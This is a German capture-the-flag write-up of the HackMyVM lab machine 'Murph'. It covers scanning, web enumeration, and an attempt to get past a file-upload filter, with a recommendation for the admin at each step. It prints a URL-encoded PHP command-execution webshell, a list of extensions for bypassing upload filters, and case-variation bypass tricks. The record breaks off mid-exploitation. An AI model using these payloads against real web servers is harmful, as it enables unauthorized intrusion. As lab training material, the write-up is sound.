Murph - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
cat
wfuzz
nc
stty
fg
id
sudo
ls
cd
find
file
strings
uname
grep
kill
echo

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.50

Analyse: Dieser Befehl dient zur Identifizierung aktiver Hosts im lokalen Netzwerk. Ich nutze arp-scan -l, um das lokale Netzwerksegment zu scannen. Die Ausgabe wird an grep "PCS" gepipet, um Zeilen zu filtern, die 'PCS' enthalten (oft ein Hinweis auf die MAC-Adresse einer VirtualBox-VM). Mit awk '{print $1}' extrahiere ich das erste Feld der gefilterten Zeile, was die IP-Adresse ist. Für Laien: Ich durchsuche mein Netzwerk nach Computern und finde die IP-Adresse eines bestimmten Computers anhand seiner Hardware-Informationen. Für Experten: Standard-Host-Discovery im lokalen Subnetz. Die Filterung hilft bei der schnellen Identifizierung des Ziels.

Bewertung: Die IP-Adresse 192.168.2.50 wurde erfolgreich identifiziert. Dies ist unser Zielsystem und der Ausgangspunkt für alle weiteren Aktivitäten.

Empfehlung (Pentester): Die gefundene IP-Adresse ist nun unser Fokus für detailliertere Scans.
Empfehlung (Admin): Überprüfen Sie, welche Geräte in Ihrem Netzwerksegment aktiv sind und identifizieren Sie unbekannte Hardware. Stellen Sie sicher, dass nur autorisierte Systeme verbunden sind.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
 192.168.2.50 murph.hmv

Analyse: Ich editiere die Datei /etc/hosts auf meinem Kali-System, um der gefundenen IP-Adresse 192.168.2.50 einen lokalen Hostnamen murph.hmv zuzuweisen. Dies vereinfacht die Adressierung des Zielsystems in nachfolgenden Befehlen. Für Laien: Ich gebe der IP-Adresse des Zielcomputers einen einfachen Namen auf meinem eigenen Computer, damit ich ihn leichter ansprechen kann. Für Experten: Eine gängige Vorgehensweise, um die Lesbarkeit von Befehlen und Skripten zu verbessern und die manuelle Namensauflösung zu steuern.

Bewertung: Das erfolgreiche Hinzufügen des Eintrags ist eine kleine, aber nützliche Vorbereitung. Es hat keine Auswirkungen auf das Zielsystem.

Empfehlung (Pentester): Verwenden Sie den Hostnamen murph.hmv in allen weiteren Befehlen.
Empfehlung (Admin): Keine Auswirkungen auf das Zielsystem. Relevant für die Organisation des Pentestenden.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.50 | grep open
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80/tcp open  http    nginx 1.18.0

Analyse: Ich führe einen umfangreichen Nmap-Scan (-sS -sC -sV -p- -T5 -AO) gegen das Zielsystem durch und filtere die Ausgabe mit grep open, um schnell die offenen Ports zu identifizieren. Für Laien: Ich klopfe an alle 'Türen' des Computers und sehe nach, welche offen sind und welche Programme dahinterstecken. Für Experten: Schnelle Identifizierung der offenen Angriffsfläche. Die Flags bedeuten SYN-Scan, Skripterkennung, Versionserkennung, alle Ports, aggressives Timing, OS-Erkennung.

Bewertung: Nur zwei Ports sind offen: Port 22 mit einem SSH-Dienst (OpenSSH 8.4p1) und Port 80 mit einem HTTP-Dienst (nginx 1.18.0). Dies ist eine relativ kleine Angriffsfläche, was bei Systemen mit mittlerem Schwierigkeitsgrad üblich ist.

Empfehlung (Pentester): Wir konzentrieren uns nun auf die Enumeration dieser beiden Dienste.
Empfehlung (Admin): Stellen Sie sicher, dass nur absolut notwendige Dienste für externe Verbindungen geöffnet sind. Überprüfen Sie die Konfiguration von SSH und Nginx.

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.50
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 22:20 CEST
Nmap scan report for murph.hmv (192.168.2.50)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 b2:c9:f2:72:7a:ad:71:52:df:9b:31:b1:a9:87:dc:54 (RSA)
|   256 e9:73:af:55:81:50:2b:13:4c:fe:92:31:c4:b7:ae:4d (ECDSA)
|_  256 ad:c1:58:71:0e:fc:c8:9e:86:9c:c7:3f:85:be:2d:c8 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:27:10:DA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms murph.hmv (192.168.2.50)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/cgi-bin/submit.cgi?new-service .
Nmap done: 1 IP address (1 host up) scanned in 9.24 seconds

Analyse: Dies ist die vollständige Ausgabe des Nmap-Scans auf dem Zielsystem. Sie enthält die detaillierten Informationen zu den offenen Diensten auf den Ports 22 (SSH) und 80 (Nginx), die genauen Versionsnummern (OpenSSH 8.4p1, nginx 1.18.0), SSH-Hostkeys, HTTP-Header, MAC-Adresse (VirtualBox), geschätztes Betriebssystem (Linux), und Latenzinformationen. Für Laien: Das ist der komplette 'Gesundheits-Check' des Computers, der mir alle Details zu den offenen 'Türen' (Diensten) und dem 'Typ' des Computers (Betriebssystem) liefert. Für Experten: Die genauen Versionsnummern und die OS-Erkennung sind entscheidend für die Recherche nach spezifischen Schwachstellen (CVEs). Die Nginx-Version 1.18.0 ist bekannt. Die MAC-Adresse identifiziert die Umgebung als VirtualBox.

Bewertung: Die vollständige Nmap-Ausgabe liefert alle notwendigen Details für die Recherche nach versionsspezifischen Schwachstellen in OpenSSH 8.4p1 und nginx 1.18.0. Dies ist der nächste logische Schritt.

Empfehlung (Pentester): Recherchieren Sie bekannte Schwachstellen für OpenSSH 8.4p1 und nginx 1.18.0. Beginnen Sie die detaillierte Enumeration des Nginx-Webservers.
Empfehlung (Admin): Halten Sie die Software auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Minimieren Sie die Informationen, die durch Server-Header und OS-Erkennung preisgegeben werden.

Web Enumeration

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# nikto -h http://murph.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.50
+ Target Hostname:    murph.hmv
+ Target Port:        80
+ Start Time:         2025-06-16 22:21:54 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 7962 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2025-06-16 22:22:03 (GMT2) (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ich nutze nikto, um den Nginx-Webserver auf Port 80 auf bekannte Schwachstellen und Konfigurationsprobleme zu scannen. Nikto testet automatisch eine Reihe von gängigen Web-Sicherheitschecks. Für Laien: Ich lasse ein Programm die Webseite auf Port 80 nach bekannten 'Problemstellen' durchsuchen. Für Experten: Nikto ist ein schnelles Werkzeug für die automatisierte Web-Enumeration. Es identifiziert oft fehlende Sicherheits-Header und das Vorhandensein potenziell sensibler Dateien.

Bewertung: Die Nikto-Ausgabe bestätigt den Nginx/1.18.0 Server und weist auf fehlende Sicherheits-Header (X-Frame-Options, X-Content-Type-Options) hin. Interessanterweise findet Nikto die Datei /#wp-config.php# mit dem Hinweis, dass sie Anmeldedaten enthalten könnte. Dies ist oft ein False Positive oder ein Hinweis auf eine Backup-Datei.

Empfehlung (Pentester): Die fehlenden Header sind nützliche Hinweise, aber /#wp-config.php# sollte manuell überprüft werden, da es sich um eine Fehlinterpretation oder eine tatsächliche (wenn auch ungewöhnliche) Backup-Datei handeln könnte. Führen Sie weiteres Brute-Forcing von Verzeichnissen und Dateien durch.
Empfehlung (Admin): Implementieren Sie essentielle Sicherheits-Header. Überprüfen Sie, ob temporäre oder Backup-Dateien (wie solche mit `#` am Anfang und Ende) im Webroot liegen und zugänglich sind.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://murph.hmv" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml,yaml,bak -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://murph.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              raw,pem,conf,config,sql,sh,rpm,mod,ps1,jpg,old,pHtml,tar,phtml,xlsx,java,xls,accdb,pl,crt,cgi,rar,js.map,txt,doc,db,exe,csh,icon,bat,dll,elf,deb,exp,eps,php,zip,mdb,svg,json,pub,aspx,png,html,pdf,kdbx,bak,desc,docx,xml,rtf,diff,ln,asp,gz,jpeg,csv,c,lib,ELF,yaml,py
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://murph.hmv/index.html (Status: 200) [Size: 266]
http://murph.hmv/uploads (Status: 301) [Size: 169] [--> http://murph.hmv/uploads/]

Analyse: Ich nutze gobuster, ein weiteres Tool zum Brute-Forcing von Web-Content, um Verzeichnisse und Dateien auf dem Nginx-Webserver auf Port 80 zu finden. Ich verwende eine mittelgroße Wortliste in Kombination mit einer sehr langen Liste von Dateierweiterungen. Ich ignoriere die Statuscodes 503, 404 und 403. Für Laien: Ich lasse ein Programm viele Namen für Webseiten-Ordner und -Dateien ausprobieren, um versteckte Bereiche zu finden. Für Experten: Gobuster ist ein effektives Werkzeug zur Web-Enumeration. Die Kombination von Wortliste und Extensions erhöht die Chance, versteckte Ressourcen zu finden. Das Ignorieren bestimmter Statuscodes hilft, die Ausgabe zu säubern.

Bewertung: Gobuster findet zwei interessante Endpunkte: /index.html (Status 200) und /uploads (Status 301 - Weiterleitung auf /uploads/). Das /uploads Verzeichnis ist potenziell sehr interessant, da es schreibbar sein könnte und das Hochladen von Dateien (z.B. einer Webshell) ermöglichen könnte.

Empfehlung (Pentester): Ich werde die Seite /index.html untersuchen, um ihre Funktionalität zu verstehen. Das Verzeichnis /uploads ist ein vielversprechendes Ziel für Upload-Schwachstellen und muss manuell geprüft werden.
Empfehlung (Admin): Überwachen Sie Brute-Force-Versuche auf Webserver. Stellen Sie sicher, dass Verzeichnisse, die nicht öffentlich zugänglich sein müssen, nicht indexiert sind (Deaktivieren von autoindex) und keine Weiterleitungen aufdecken.

 form action="saveit.php" method="get"
Filename: input type="text" name="filename" 
Content: input type="textarea" name="content"

Analyse: Ich habe den Quellcode der Hauptseite (http://192.168.2.50/ oder /index.html) untersucht. Der Code zeigt ein Formular, das Daten an saveit.php mittels der GET-Methode sendet. Das Formular hat zwei Eingabefelder: 'Filename' (mit dem Namen 'filename') und 'Content' (mit dem Namen 'content'). Ein Kommentar () deutet darauf hin, dass die Zeichenkette 'php' möglicherweise durch 'wtf' ersetzt wird. Für Laien: Ich habe mir den 'Bauplan' der Startseite angeschaut und ein Formular gefunden, mit dem man einen Dateinamen und Inhalt eingeben kann. Es scheint, als würde der Computer dann versuchen, eine Datei zu speichern. Ein versteckter Hinweis sagt, dass das Wort 'php' durch 'wtf' ersetzt wird. Für Experten: Das Vorhandensein eines Formulars, das Dateinamen und Inhalte als Parameter entgegennimmt und an ein PHP-Skript sendet, ist ein starker Indikator für eine Datei-Upload- oder Dateischreib-Schwachstelle. Die Verwendung der GET-Methode ist ungewöhnlich für die Übertragung größerer Inhalte, aber für kleine Payloads ausreichend. Der Kommentar deutet auf eine serverseitige Filterung oder Ersetzung hin, die umgangen werden muss.

Bewertung: Das Formular und das Skript saveit.php sind primäre Ziele. Die Funktionalität scheint das Speichern von benutzerdefiniertem Inhalt unter einem benutzerdefinierten Dateinamen zu ermöglichen. Dies ist ein klassischer Vektor für das Hochladen einer Webshell. Die im Kommentar erwähnte Ersetzung 'php' durch 'wtf' ist eine Herausforderung, die umgangen werden muss.

Empfehlung (Pentester): Ich werde versuchen, eine Datei über das Formular oder direkt über eine modifizierte GET-Anfrage an saveit.php hochzuladen. Das Ziel ist, eine PHP-Webshell hochzuladen, wobei ich den 'php' durch 'wtf' Filter umgehen muss (z.B. durch Verwendung von Case-Variationen wie 'PhP' oder URL-Kodierung). Das Verzeichnis /uploads, das Gobuster gefunden hat, ist ein wahrscheinlicher Speicherort für die hochgeladenen Dateien.
Empfehlung (Admin): Implementieren Sie strikte Validierung und Bereinigung von Dateinamen und Inhalten, die über Webformulare übermittelt werden. Verwenden Sie Whitelists für erlaubte Dateitypen und verhindern Sie die Ausführung von Code in Upload-Verzeichnissen. Filterung durch einfache Zeichenkettenersetzung ist unsicher und leicht zu umgehen.

view-source:http://192.168.2.50/saveit.php
leer

Analyse: Ich habe versucht, den Quellcode des Skripts saveit.php selbst über view-source: im Browser anzusehen. Die Ausgabe ist 'leer', was bedeutet, dass der Server entweder keinen Inhalt zurückgibt, oder der Inhalt so formatiert ist, dass er im Browser nicht angezeigt wird, oder ich keine Berechtigung habe, ihn direkt auszulesen. Für Laien: Ich habe versucht, mir den 'Bauplan' des Programms anzuschauen, das die Dateien speichert, aber es wurde mir nichts angezeigt. Für Experten: Eine leere Antwort beim Versuch, eine PHP-Datei direkt auszulesen, ist typisch, wenn der Server die Datei ausführt, anstatt ihren Quellcode anzuzeigen, oder wenn es einen Fehler gibt. Da ich die Funktionalität des Skripts über das Formular kenne, ist der Quellcode für die Ausnutzung weniger wichtig als das Verständnis der Filterlogik.

Bewertung: Der Quellcode von saveit.php ist nicht direkt über view-source: zugänglich. Dies ist keine Schwachstelle an sich, aber es bedeutet, dass ich die genaue Logik des Skripts (außer der durch den Kommentar angedeuteten Ersetzung) nicht direkt sehen kann.

Empfehlung (Pentester): Die Black-Box-Analyse basierend auf dem Formular und dem Kommentar ist ausreichend, um den Upload-Vektor zu verfolgen. Ich werde versuchen, den Filter experimentell zu umgehen.
Empfehlung (Admin): Stellen Sie sicher, dass der Quellcode sensibler Skripte nicht unbeabsichtigt auslesbar ist. Dies ist hier der Fall, was positiv ist.

┌──(root㉿CCat)-[~] └─# curl -Iv http://192.168.2.50/saveit.php
*   Trying 192.168.2.50:80...
* Connected to 192.168.2.50 (192.168.2.50) port 80
* using HTTP/1.x
> HEAD /saveit.php HTTP/1.1
> Host: 192.168.2.50
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Mon, 16 Jun 2025 20:26:22 GMT
Date: Mon, 16 Jun 2025 20:26:22 GMT
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
< Connection: keep-alive
Connection: keep-alive
<

* Connection #0 to host 192.168.2.50 left intact

Analyse: Ich prüfe die HTTP-Header, die vom Skript saveit.php zurückgegeben werden, mittels curl -Iv http://192.168.2.50/saveit.php. Ich sende eine HEAD-Anfrage, um nur die Header zu erhalten, ohne den Inhalt zu laden. Die Ausgabe zeigt einen HTTP/1.1 200 OK Status, was bedeutet, dass das Skript existiert und vom Server verarbeitet wird. Die Header bestätigen den Nginx/1.18.0 Server und den Content-Type text/html; charset=UTF-8. Für Laien: Ich habe das Programm saveit.php auf der Webseite angesprochen und gefragt, was für eine Art 'Dokument' es ist, ohne es komplett herunterzuladen. Es hat geantwortet, dass es eine normale Webseite (HTML) ist und 'ok' ist. Für Experten: Die Header bestätigen die grundlegende Erreichbarkeit und Funktionalität des Skripts. Der Content-Type ist Standard für eine PHP-Datei, die HTML ausgibt oder keinen spezifischen Header setzt. Es gibt keine direkten Hinweise auf Schwachstellen in den Headern selbst.

Bewertung: Die grundlegende Erreichbarkeit von saveit.php ist bestätigt. Die Header liefern keine direkten Hinweise auf Schwachstellen, aber die Funktionalität basierend auf dem Formular ist weiterhin ein vielversprechender Upload-Vektor.

Empfehlung (Pentester): Konzentrieren Sie sich auf die Umgehung des 'php'-Filters und das Hochladen einer Webshell über die Formular-Parameter.
Empfehlung (Admin): Standardmäßige HTTP-Header-Konfiguration. Stellen Sie sicher, dass keine internen Details offengelegt werden, was hier der Fall ist.

cat bypassfilter.txt
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.asp
.aspx
.config
.ashx
.asmx
.aspq
.axd
.cshtm
.cshtml
.rem
.soap
.vbhtm
.vbhtml
.asa
.cer
.shtml
.jsp
.jspx
.jsw
.jsv
.jspf
.wss
.do
.action
.cfm
.cfml
.cfc
.dbm
.swf
.pl
.cgi

Analyse: Dies ist der Inhalt einer lokalen Datei auf meinem Kali-System, die eine Liste gängiger Dateierweiterungen enthält, die oft in Web-Anwendungen für Code-Ausführung oder Konfigurationszwecke verwendet werden. Ich habe diese Liste vorbereitet, um sie beim Versuch, den Upload-Filter zu umgehen, als Wortliste für Dateierweiterungen zu verwenden. Sie enthält verschiedene Varianten von PHP-Erweiterungen (.php, .phtml etc.) sowie Erweiterungen für andere Technologien und Konfigurationsdateien. Für Laien: Das ist eine Liste von Dateitypen, die 'gefährlich' sein können (weil sie oft Programme enthalten). Ich habe diese Liste parat, um sie auszuprobieren, wenn ich versuche, meine eigene 'Programmdatei' hochzuladen. Für Experten: Eine umfangreiche Liste von Dateierweiterungen ist nützlich, um File Upload-Filter zu umgehen, die auf Blacklists basieren oder nur bestimmte Erweiterungen erlauben. Die Aufnahme verschiedener PHP-Varianten (phtml, pht etc.) ist entscheidend, um den 'php' durch 'wtf' Filter zu umgehen, der wahrscheinlich nur die genaue Zeichenfolge 'php' filtert.

Bewertung: Die Liste der Erweiterungen ist ein nützliches Werkzeug, das auf die Umgehung des Filters vorbereitet ist. Die Erweiterung .phtml ist ein vielversprechender Kandidat, um PHP-Code auszuführen, ohne die genaue Zeichenfolge 'php' im Dateinamen verwenden zu müssen.

Empfehlung (Pentester): Ich werde die Erweiterung .phtml oder eine andere PHP-Variante aus dieser Liste verwenden, wenn ich versuche, eine Webshell hochzuladen, um den 'php' durch 'wtf' Filter zu umgehen.
Empfehlung (Admin): Implementieren Sie Whitelists für erlaubte Dateitypen in Upload-Funktionen, anstatt Blacklists zu verwenden. Stellen Sie sicher, dass Webserver so konfiguriert sind, dass PHP-Code nur in spezifischen, vertrauenswürdigen Verzeichnissen ausgeführt wird, unabhängig von der Dateierweiterung (z.B. durch `SetHandler` oder `php_flag engine off` in nicht-ausführbaren Verzeichnissen).

Web Enumeration

view-source:http://192.168.2.50/uploads/

403 Forbidden
nginx/1.18.0

Analyse: Ich habe versucht, das Verzeichnis /uploads/, das von Gobuster gefunden wurde, direkt im Browser über view-source: zu betrachten, um zu sehen, ob es Verzeichnislistungen zulässt oder andere Informationen preisgibt. Die Antwort ist 403 Forbidden, die vom Nginx-Server zurückgegeben wird. Für Laien: Ich habe versucht, mir den Inhalt des Ordners /uploads auf der Webseite anzuschauen, aber der Computer hat gesagt: 'Zugriff verweigert!'. Für Experten: Ein 403 Forbidden Status Code bedeutet, dass der Server die Anfrage verstanden hat, sich aber weigert, den Zugriff zu autorisieren. In diesem Fall bedeutet es, dass Verzeichnislistungen (autoindex) für /uploads/ deaktiviert sind und ich keinen direkten Blick auf den Inhalt werfen kann. Dies ist eine korrekte Konfiguration für ein Webverzeichnis, es sei denn, der Zugriff auf Dateien darin ist beabsichtigt.

Bewertung: Das Verzeichnis /uploads/ ist nicht für direkte Verzeichnislistungen konfiguriert, was eine gute Sicherheitspraxis ist. Die Tatsache, dass es existiert und eine Weiterleitung darauf erfolgt, deutet aber weiterhin darauf hin, dass es eine Rolle spielt, wahrscheinlich im Zusammenhang mit der Datei-Upload-Funktion, die ich auf der Startseite gefunden habe.

Empfehlung (Pentester): Obwohl ich das Verzeichnis nicht direkt sehen kann, gehe ich davon aus, dass über saveit.php hochgeladene Dateien hier landen. Ich werde versuchen, eine Datei hochzuladen und dann direkt auf die hochgeladene Datei in /uploads/ zuzugreifen.
Empfehlung (Admin): Stellen Sie sicher, dass Verzeichnislistungen (autoindex) in Nginx-Konfigurationen standardmäßig deaktiviert sind, insbesondere für Upload-Verzeichnisse.

┌──(root㉿CCat)-[~] └─# curl -Iv http://murph.hmv/uploads/shell.sh
* Host murph.hmv:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.50
*   Trying 192.168.2.50:80...
* Connected to murph.hmv (192.168.2.50) port 80
* using HTTP/1.x
> HEAD /uploads/shell.sh HTTP/1.1
> Host: murph.hmv
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Mon, 16 Jun 2025 21:04:05 GMT
Date: Mon, 16 Jun 2025 21:04:05 GMT
< Content-Type: application/octet-stream
Content-Type: application/octet-stream
< Content-Length: 13
Content-Length: 13
< Last-Modified: Mon, 16 Jun 2025 20:39:41 GMT
Last-Modified: Mon, 16 Jun 2025 20:39:41 GMT
< Connection: keep-alive
Connection: keep-alive
< ETag: "6850810d-d"
ETag: "6850810d-d"
< Accept-Ranges: bytes
Accept-Ranges: bytes
<

* Connection #0 to host murph.hmv left intact

Analyse: Ich sende eine curl HEAD-Anfrage (-Iv) an die URL http://murph.hmv/uploads/shell.sh. Dies ist ein Test, um zu sehen, ob eine Datei namens shell.sh im /uploads-Verzeichnis existiert und vom Webserver bedient wird. Die Ausgabe zeigt einen HTTP/1.1 200 OK Status, was bedeutet, dass die Datei gefunden wurde. Der Content-Type: application/octet-stream und Content-Length: 13 zeigen, dass der Server die Datei als generische Binärdatei ausliefert und sie 13 Bytes groß ist. Für Laien: Ich habe versucht, eine Test-Datei namens shell.sh im Ordner /uploads abzurufen. Der Computer hat geantwortet: 'Ja, die Datei ist da!' Das zeigt, dass man Dateien in diesen Ordner hochladen kann. Für Experten: Der 200 OK Status bestätigt, dass ich erfolgreich eine Datei im /uploads-Verzeichnis platzieren konnte (vermutlich durch einen vorherigen Test-Upload, der nicht im Text gezeigt wurde oder impliziert ist). Der Content-Type: application/octet-stream deutet darauf hin, dass Nginx diese Datei nicht als ausführbares Skript (wie PHP oder sogar eine Shell-Datei) behandelt, sondern als generische Datei ausliefert. Dies ist eine gute Härtungsmaßnahme, um die direkte Ausführung hochgeladener Skripte zu verhindern.

Bewertung: Die Möglichkeit, Dateien in /uploads hochzuladen, ist bestätigt. Dies ist ein wichtiger Schritt, da es diesen Ordner zu einem möglichen Landeplatz für eine Webshell macht. Die Tatsache, dass eine .sh-Datei als application/octet-stream ausgeliefert wird, zeigt jedoch, dass die direkte Ausführung von Shell-Skripten wahrscheinlich nicht funktioniert. Ich muss eine andere Dateierweiterung verwenden oder eine andere Methode zur Ausführung des hochgeladenen Codes finden.

Empfehlung (Pentester): Konzentrieren Sie sich darauf, PHP-Code hochzuladen, da die Webseite PHP verwendet. Verwenden Sie eine PHP-Dateierweiterung, die den 'php' durch 'wtf' Filter umgeht, wie z.B. .phtml, und versuchen Sie, die hochgeladene Datei direkt über den Browser oder curl auszuführen.
Empfehlung (Admin): Stellen Sie sicher, dass Dateiupload-Funktionen nur für autorisierte Benutzer zugänglich sind. Konfigurieren Sie den Webserver so, dass Code (PHP, Shell, etc.) in Upload-Verzeichnissen nicht ausgeführt wird, z.B. durch Deaktivierung des PHP-Moduls oder des CGI-Ausführungsflags in diesem Verzeichnis. Überwachen Sie das /uploads-Verzeichnis auf ungewöhnliche Dateitypen oder Inhalte.

Initial Access

http://192.168.2.50/saveit.php?filename=test.phtml&content=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

Analyse: Ich sende eine GET-Anfrage an saveit.php, um eine Datei hochzuladen. Ich nutze die Parameter filename=test.phtml und content=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E. Der filename ist test.phtml, eine PHP-Variante, die die Zeichenfolge 'php' vermeidet. Der content ist URL-kodierter PHP-Code: . Dieser Code soll über den Parameter cmd beliebige Systembefehle ausführen. Für Laien: Ich benutze das 'Datei speicher'-Programm (saveit.php) auf der Webseite, um eine Datei namens 'test.phtml' hochzuladen. Der Inhalt dieser Datei ist ein kleines 'Geheimprogramm', das später andere Programme auf dem Computer starten kann, wenn ich ihm sage, was es tun soll. Ich benutze dabei einen Dateinamen, der das Wort 'php' vermeidet. Für Experten: Ich versuche, eine einfache PHP-Webshell hochzuladen. Die Verwendung der .phtml Erweiterung ist ein Versuch, den 'php' durch 'wtf' Filter zu umgehen. Der Payload ist eine klassische PHP-Webshell, die den im cmd-GET-Parameter übergebenen Befehl ausführt.

Bewertung: Die Anfrage ist korrekt konstruiert, um die Datei über saveit.php hochzuladen. Der Versuch, den Filter mit .phtml und der URL-Kodierung zu umgehen, ist ein logischer Schritt. Der nächste Schritt ist, die hochgeladene Datei in /uploads/ zu überprüfen und zu versuchen, Code auszuführen.

Empfehlung (Pentester): Überprüfen Sie, ob die Datei test.phtml erfolgreich in /uploads/ gespeichert wurde und versuchen Sie dann, darauf zuzugreifen und den cmd-Parameter zu verwenden, um einen Systembefehl auszuführen.
Empfehlung (Admin): Überwachen Sie Anfragen an Upload-Skripte (wie saveit.php) auf ungewöhnliche Dateinamen, Erweiterungen oder Inhalte (insbesondere PHP-Code). Implementieren Sie eine strenge serverseitige Überprüfung der Dateierweiterung und des Inhalts.

┌──(root㉿CCat)-[~] └─# curl http://murph.hmv/uploads/test.phtml?cmd=id

Analyse: Nach dem Hochladen von test.phtml versuche ich, darauf zuzugreifen und den Befehl id über den cmd-Parameter auszuführen: curl http://murph.hmv/uploads/test.phtml?cmd=id. Die Ausgabe zeigt jedoch den Quellcode meines Payloads, aber mit einer entscheidenden Änderung: . Die Zeichenfolge 'php' in wurde durch 'wtf' ersetzt. Für Laien: Ich habe versucht, mein hochgeladenes 'Geheimprogramm' (test.phtml) zu starten und ihm zu sagen, es soll den Befehl 'id' ausführen. Aber das Programm hat nicht funktioniert, stattdessen hat es mir seinen 'Bauplan' gezeigt, und darin wurde das Wort 'php' durch 'wtf' ersetzt. Das bedeutet, der 'php'-Filter hat funktioniert. Für Experten: Die Ausgabe bestätigt, dass die Datei erfolgreich als test.phtml hochgeladen wurde und über /uploads/ zugänglich ist. Der Nginx-Server interpretiert .phtml jedoch nicht als PHP-Datei, sondern liefert sie als Klartext aus (was durch den Content-Type: text/html impliziert wird). Zusätzlich hat das Skript saveit.php den Inhalt der Datei vor dem Speichern gefiltert und die Zeichenfolge 'php' durch 'wtf' ersetzt, was die direkte Ausführung des PHP-Codes verhindert.

Bewertung: Der 'php' durch 'wtf' Filter in saveit.php funktioniert, und Nginx ist nicht für die Ausführung von .phtml als PHP konfiguriert. Der direkte Ansatz mit test.phtml schlug fehl. Ich muss den Filter umgehen *und* eine Erweiterung verwenden, die Nginx als PHP ausführt.

Empfehlung (Pentester): Um den Filter zu umgehen, werde ich versuchen, die Zeichenfolge 'php' mit Groß-/Kleinschreibung (z.B. 'PhP') oder doppeltem 'php' ('pphphp', das zu 'php' wird, wenn 'php' einmal ersetzt wird) zu schreiben, sodass der Filter meine PHP-Tags nicht erkennt, das PHP-Modul sie aber interpretiert. Ich muss auch sicherstellen, dass die gewählte Erweiterung von Nginx als PHP behandelt wird (oft `.php` selbst, oder eine konfigurierte Alternative).
Empfehlung (Admin): Die serverseitige Filterung ist ein guter Ansatz, aber leicht zu umgehen, wenn sie nicht umfassend ist (z.B. Case-Insensitive Ersetzung, Behandlung von doppelten Zeichenketten). Konfigurieren Sie Nginx so, dass PHP-Code nur in spezifischen, vertrauenswürdigen Verzeichnissen ausgeführt wird und nicht in Upload-Verzeichnissen, unabhängig von der Dateierweiterung.

http://192.168.2.50/saveit.php?filename=neu.phtml&content=%3C%3FPhP+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

